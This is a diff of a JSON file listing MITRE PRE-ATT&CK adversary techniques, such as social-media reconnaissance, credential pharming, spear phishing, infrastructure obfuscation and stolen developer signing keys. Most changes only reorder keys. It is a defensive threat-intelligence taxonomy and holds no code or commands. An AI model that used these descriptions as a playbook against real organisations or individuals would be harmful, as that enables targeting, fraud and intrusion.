"description": "Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: It is detectable once deployed to the public Internet, used for adversarial purposes, discovered, and reported to defenders.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: It is easy to create and burn infrastructure. Otherwise, blacklisting would be more successful for defenders.",
- "value": "Build and configure delivery systems - PRE-T1124",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1124"
- ],
"external_id": "PRE-T1124",
"kill_chain": [
"mitre-pre-attack:pre-attack:build-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1124"
]
},
- "uuid": "15ef4da5-3b93-4bb1-a39a-5396661956d3"
+ "uuid": "15ef4da5-3b93-4bb1-a39a-5396661956d3",
+ "value": "Build and configure delivery systems - PRE-T1124"
},
{
"description": "Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The layers of data required and potential gaps of information to map a specific person to an authority or privilege on a network requires access to resources that may not tip off a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.",
- "value": "Identify personnel with an authority/privilege - PRE-T1048",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1048"
- ],
"external_id": "PRE-T1048",
"kill_chain": [
"mitre-pre-attack:pre-attack:people-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1048"
]
},
- "uuid": "762771c2-3675-4535-88e9-b1f891758974"
+ "uuid": "762771c2-3675-4535-88e9-b1f891758974",
+ "value": "Identify personnel with an authority/privilege - PRE-T1048"
},
{
"description": "An adversary may research available open source information about a target commonly found on social media sites such as [https://www.facebook.com Facebook], [https://www.instagram.com Instagram], or [https://www.pinterest.com Pinterest]. Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very public by design. Application of privacy settings is not a panacea.",
- "value": "Mine social media - PRE-T1050",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1050"
- ],
"external_id": "PRE-T1050",
"kill_chain": [
"mitre-pre-attack:pre-attack:people-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1050"
]
},
- "uuid": "695b1cce-57d7-49ae-a2af-820d50153f12"
+ "uuid": "695b1cce-57d7-49ae-a2af-820d50153f12",
+ "value": "Mine social media - PRE-T1050"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nCredential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Fidelity of networking monitoring must be able to detect when traffic is diverted to non-normal sources at a site level. It is possible to identify some methods of pharming, but detection capabilities are limited and not commonly implemented.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Although it can be difficult to spoof/redirect content to a hostile service via DNS poisoning or MiTM attacks, current malware such as Zeus is able to successfully pharm credentials and end users are not well-versed in checking for certificate mismatches.",
- "value": "Credential pharming - PRE-T1151",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1151"
- ],
"external_id": "PRE-T1151",
"kill_chain": [
"mitre-pre-attack:pre-attack:launch"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1151"
]
},
- "uuid": "38a6d2f5-d948-4235-bb91-bb01604448b4"
+ "uuid": "38a6d2f5-d948-4235-bb91-bb01604448b4",
+ "value": "Credential pharming - PRE-T1151"
},
{
"description": "Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
- "value": "Identify gap areas - PRE-T1002",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1002"
- ],
"external_id": "PRE-T1002",
"kill_chain": [
"mitre-pre-attack:pre-attack:priority-definition-planning"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1002"
]
},
- "uuid": "d778cb83-2292-4995-b006-d38f52bc1e64"
+ "uuid": "d778cb83-2292-4995-b006-d38f52bc1e64",
+ "value": "Identify gap areas - PRE-T1002"
},
{
"description": "Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: These services are heavily utilized by mainstream mobile app developers. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: These are free services provided by Google and Apple to app developers, and information on how to use them is readily available.",
- "value": "OS-vendor provided communication channels - PRE-T1167",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1167"
- ],
"external_id": "PRE-T1167",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1167"
]
},
- "uuid": "5436571f-2332-4b51-b7ed-0bc822fe02c2"
+ "uuid": "5436571f-2332-4b51-b7ed-0bc822fe02c2",
+ "value": "OS-vendor provided communication channels - PRE-T1167"
},
{
"description": "Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very public by design.",
- "value": "Identify job postings and needs/gaps - PRE-T1055",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1055"
- ],
"external_id": "PRE-T1055",
"kill_chain": [
"mitre-pre-attack:pre-attack:organizational-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1055"
]
},
- "uuid": "7718e92f-b011-4f88-b822-ae245a1de407"
+ "uuid": "7718e92f-b011-4f88-b822-ae245a1de407",
+ "value": "Identify job postings and needs/gaps - PRE-T1055"
},
{
"description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.",
- "value": "Conduct social engineering - PRE-T1056",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1056"
- ],
"external_id": "PRE-T1056",
"kill_chain": [
"mitre-pre-attack:pre-attack:organizational-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1056"
]
},
- "uuid": "a757670d-d600-48d9-8ae9-601d42c184a5"
+ "uuid": "a757670d-d600-48d9-8ae9-601d42c184a5",
+ "value": "Conduct social engineering - PRE-T1056"
},
{
"description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an intensive process. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).",
- "value": "Identify supply chains - PRE-T1053",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1053"
- ],
"external_id": "PRE-T1053",
"kill_chain": [
"mitre-pre-attack:pre-attack:organizational-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1053"
]
},
- "uuid": "7860e21e-7514-4a3f-8a9d-56405ccfdb0c"
+ "uuid": "7860e21e-7514-4a3f-8a9d-56405ccfdb0c",
+ "value": "Identify supply chains - PRE-T1053"
},
{
"description": "Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
- "value": "Identify analyst level gaps - PRE-T1010",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1010"
- ],
"external_id": "PRE-T1010",
"kill_chain": [
"mitre-pre-attack:pre-attack:priority-definition-planning"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1010"
]
},
- "uuid": "0fad2267-9f46-4ebb-91b5-d543243732cb"
+ "uuid": "0fad2267-9f46-4ebb-91b5-d543243732cb",
+ "value": "Identify analyst level gaps - PRE-T1010"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nInstead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).",
- "value": "Compromise 3rd party infrastructure to support delivery - PRE-T1111",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1111"
- ],
"external_id": "PRE-T1111",
"kill_chain": [
"mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1111"
]
},
- "uuid": "e51398e6-53dc-4e9f-a323-e54683d8672b"
+ "uuid": "e51398e6-53dc-4e9f-a323-e54683d8672b",
+ "value": "Compromise 3rd party infrastructure to support delivery - PRE-T1111"
},
{
"description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Difficult, but defender is well aware of technique and attempts to find discrepancies.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has a variety of solutions, ranging in difficulty, that can be employed (e.g., BGP hijacking, tunneling, reflection, multi-hop, etc.)\nAdversary can also use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com Amazon Web Services] (AWS) accounts, etc.",
- "value": "Obfuscate infrastructure - PRE-T1086",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1086"
- ],
"external_id": "PRE-T1086",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1086"
]
},
- "uuid": "e6ca2820-a564-4b74-b42a-b6bdf052e5b6"
+ "uuid": "e6ca2820-a564-4b74-b42a-b6bdf052e5b6",
+ "value": "Obfuscate infrastructure - PRE-T1086"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nExploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Although some commercial technologies are being advertised which claim to detect malvertising, it largely spreads unknowingly because it doesn't always require an action by a user.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can deploy exploits via malvertising using multiple mechanisms. Such mechanisms include an image ad that is infected, redirection, or using social engineering to get the end user to install the malicious software themselves.",
- "value": "Deploy exploit using advertising - PRE-T1157",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1157"
- ],
"external_id": "PRE-T1157",
"kill_chain": [
"mitre-pre-attack:pre-attack:launch"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1157"
]
},
- "uuid": "d72c0bc0-3007-418c-842c-328027ebdbc1"
+ "uuid": "d72c0bc0-3007-418c-842c-328027ebdbc1",
+ "value": "Deploy exploit using advertising - PRE-T1157"
},
{
"description": "A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Network mapping techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. Defender review of access logs may provide some insight based on trends or patterns.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Various available tools and data sources for scouting and detecting network topologies.",
- "value": "Map network topology - PRE-T1029",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1029"
- ],
"external_id": "PRE-T1029",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1029"
]
},
- "uuid": "cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d"
+ "uuid": "cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d",
+ "value": "Map network topology - PRE-T1029"
},
{
"description": "Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Techniques and signatures are hard to detect. Advanced communications and exfiltration channels are nearly indistinguishable from background noise.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Known approaches include the use of cryptography for communications, rotating drops sites (such as random list of chat fora), and one-time [https://aws.amazon.com/s3/ Simple Storage Service (S3)] buckets, etc. All require sophisticated knowledge, infrastructure, and funding.",
- "value": "Obfuscation or cryptography - PRE-T1090",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1090"
- ],
"external_id": "PRE-T1090",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1090"
]
},
- "uuid": "c2ffd229-11bb-4fd8-9208-edbe97b14c93"
+ "uuid": "c2ffd229-11bb-4fd8-9208-edbe97b14c93",
+ "value": "Obfuscation or cryptography - PRE-T1090"
},
{
"description": "The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: The difficulty of obtaining useful developer credentials may vary. Well-organized, professional app developers whose credentials or signing keys would be the most useful to an adversary because of the large install bases of their apps, would likely strongly protect their credentials and signing keys. Less-organized app developers may not protect their credentials and signing keys as strongly, but the credentials and signing keys would also be less useful to an adversary. These less-organized app developers may reuse passwords across sites, fail to turn on multi-factor authentication features when available, or store signing keys in unprotected locations.",
- "value": "Choose pre-compromised mobile app developer account credentials or signing keys - PRE-T1168",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1168"
- ],
"external_id": "PRE-T1168",
"kill_chain": [
"mitre-pre-attack:pre-attack:persona-development"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1168"
]
},
- "uuid": "7a265bf0-6acc-4f43-8b22-2e58b443e62e"
+ "uuid": "7a265bf0-6acc-4f43-8b22-2e58b443e62e",
+ "value": "Choose pre-compromised mobile app developer account credentials or signing keys - PRE-T1168"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: End user training and awareness is the primary defense for flagging a plain text email so the end user does not respond or take any requested action (e.g., calling a designated number).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending messages with text only should be accepted in most cases (e.g., not being filtered based on source, content).",
- "value": "Spear phishing messages with text only - PRE-T1145",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1145"
- ],
"external_id": "PRE-T1145",
"kill_chain": [
"mitre-pre-attack:pre-attack:launch"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1145"
]
},
- "uuid": "2fc04aa5-48c1-49ec-919a-b88241ef1d17"
+ "uuid": "2fc04aa5-48c1-49ec-919a-b88241ef1d17",
+ "value": "Spear phishing messages with text only - PRE-T1145"
},
{
"description": "Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary controls or acquires all pieces of infrastructure and can test outside of defender's visibility.",
- "value": "Test callback functionality - PRE-T1133",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1133"
- ],
"external_id": "PRE-T1133",
"kill_chain": [
"mitre-pre-attack:pre-attack:test-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1133"
]
},
- "uuid": "0649fc36-72a0-40a0-a2f9-3fc7e3231ad6"
+ "uuid": "0649fc36-72a0-40a0-a2f9-3fc7e3231ad6",
+ "value": "Test callback functionality - PRE-T1133"
},
{
"description": "Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Cannot detect access to public sites.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Success is dependent upon the existence of detailed technical specifications for target network posted in blogs/forums. Poor OPSEC practices result in an adversary gleaning a lot of sensitive information about configurations and/or issues encountered.",
- "value": "Mine technical blogs/forums - PRE-T1034",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1034"
- ],
"external_id": "PRE-T1034",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1034"
]
},
- "uuid": "a54a7708-8f64-45f3-ad51-1abf976986a0"
+ "uuid": "a54a7708-8f64-45f3-ad51-1abf976986a0",
+ "value": "Mine technical blogs/forums - PRE-T1034"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nUsers may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Environments without extensive endpoint sensing capabilities do not typically collect this level of detailed information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Autoruns with USB keys and CDs traditionally were always on (e.g., [http://windows.microsoft.com Windows] 7 is now an exception with a new policy of limiting the always on nature of Autoruns), ensuring and automated system completes a requested action. Specialized use cases exist where automated systems are specifically designed against automatically performing certain actions (e.g., USB/CD insertion and automatically running is disabled in certain environments).",
- "value": "Automated system performs requested action - PRE-T1161",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1161"
- ],
"external_id": "PRE-T1161",
"kill_chain": [
"mitre-pre-attack:pre-attack:compromise"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1161"
]
},
- "uuid": "0e6abb17-0f81-4988-9fd2-4ba0b673d729"
+ "uuid": "0e6abb17-0f81-4988-9fd2-4ba0b673d729",
+ "value": "Automated system performs requested action - PRE-T1161"
},
{
"description": "A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but detecting an adversary acquiring a payload would require the defender to be monitoring the code repository where the payload is stored. If the adversary re-uses payloads, this allows the defender to create signatures to detect using these known indicators of compromise (e.g., hashes).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.",
- "value": "Obtain/re-use payloads - PRE-T1123",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1123"
- ],
"external_id": "PRE-T1123",
"kill_chain": [
"mitre-pre-attack:pre-attack:build-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1123"
]
},
- "uuid": "27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768"
+ "uuid": "27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768",
+ "value": "Obtain/re-use payloads - PRE-T1123"
},
{
"description": "Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Generates no network traffic that would enable detection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy to do but it requires a vantage point conducive to accessing this data.",
- "value": "Conduct passive scanning - PRE-T1030",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1030"
- ],
"external_id": "PRE-T1030",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1030"
]
},
- "uuid": "a7c620e5-cbc9-41b2-9695-418ef560f16c"
+ "uuid": "a7c620e5-cbc9-41b2-9695-418ef560f16c",
+ "value": "Conduct passive scanning - PRE-T1030"
},
{
"description": "Social media provides insight into the target's affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public sources are external to the defender's organization. Some social media sites have an option to show you when users are looking at your profile, but an adversary can evade this tracking depending on how they conduct the searches.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Social and business relationship information for an individual can be found by examining their social media contacts (e.g., [https://www.facebook.com Facebook] and [https://www.linkedin.com LinkedIn]). Social media also provides insight into the target's affiliations with groups and organizations. Finally, certification information can explain their technical associations and professional associations.",
- "value": "Analyze social and business relationships, interests, and affiliations - PRE-T1072",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1072"
- ],
"external_id": "PRE-T1072",
"kill_chain": [
"mitre-pre-attack:pre-attack:people-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1072"
]
},
- "uuid": "ee40d054-6e83-4302-88dc-a3af98821d8d"
+ "uuid": "ee40d054-6e83-4302-88dc-a3af98821d8d",
+ "value": "Analyze social and business relationships, interests, and affiliations - PRE-T1072"
},
{
"description": "Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Some of the hiding techniques require special accesses (network, proximity, physical, etc.) and/or may rely on knowledge of how the defender operates and/or awareness on what visibility the defender has and how it is obtained",
- "value": "Network-based hiding techniques - PRE-T1092",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1092"
- ],
"external_id": "PRE-T1092",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1092"
]
},
- "uuid": "90884cdb-31dd-431c-87db-9cc7e03191e5"
+ "uuid": "90884cdb-31dd-431c-87db-9cc7e03191e5",
+ "value": "Network-based hiding techniques - PRE-T1092"
},
{
"description": "Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The nature of social media is such that the adversary naturally connects to a target of interest without suspicion, given the purpose of the platform is to promote connections between individuals. Performing activities like typical users, but with specific intent in mind.",
- "value": "Friend/Follow/Connect to targets of interest - PRE-T1121",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1121"
- ],
"external_id": "PRE-T1121",
"kill_chain": [
"mitre-pre-attack:pre-attack:persona-development"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1121"
]
},
- "uuid": "103d72e6-7e0d-4b3a-9373-c38567305c33"
+ "uuid": "103d72e6-7e0d-4b3a-9373-c38567305c33",
+ "value": "Friend/Follow/Connect to targets of interest - PRE-T1121"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nRemovable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: From a technical perspective, detection of an adversary disseminating removable media is not possible as there is no technical element involved until the compromise phase. Most facilities generally do not perform extensive physical security patrols, which would be necessary in order to promptly identify an adversary deploying removable media to be used in an attack.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique by penetration testers to gain access to networks via end users who are innately trusting of newly found or available technology.",
- "value": "Disseminate removable media - PRE-T1156",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1156"
- ],
"external_id": "PRE-T1156",
"kill_chain": [
"mitre-pre-attack:pre-attack:stage-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1156"
]
},
- "uuid": "2f442206-2983-4fc2-93fd-0a828e026412"
+ "uuid": "2f442206-2983-4fc2-93fd-0a828e026412",
+ "value": "Disseminate removable media - PRE-T1156"
},
{
